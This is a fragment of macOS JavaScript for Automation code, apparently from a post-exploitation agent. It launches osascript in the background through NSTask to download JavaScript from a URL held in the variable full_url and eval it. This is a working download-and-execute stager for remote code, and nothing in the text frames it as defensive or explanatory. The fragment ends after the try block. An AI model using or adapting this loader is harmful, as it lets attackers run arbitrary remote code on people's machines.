let path = "/usr/bin/osascript";
let args = ['-l','JavaScript','-e'];
let command = "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString(";
command = command + "'" + full_url + "')),$.NSUTF8StringEncoding)));";
args.push(command);
args.push("&");
try{
let pipe = $.NSPipe.pipe;
let file = pipe.fileHandleForReading; // NSFileHandle
let task = $.NSTask.alloc.init;
task.launchPath = path;
task.arguments = args;
task.standardOutput = pipe;
task.standardError = pipe;
task.launch;
}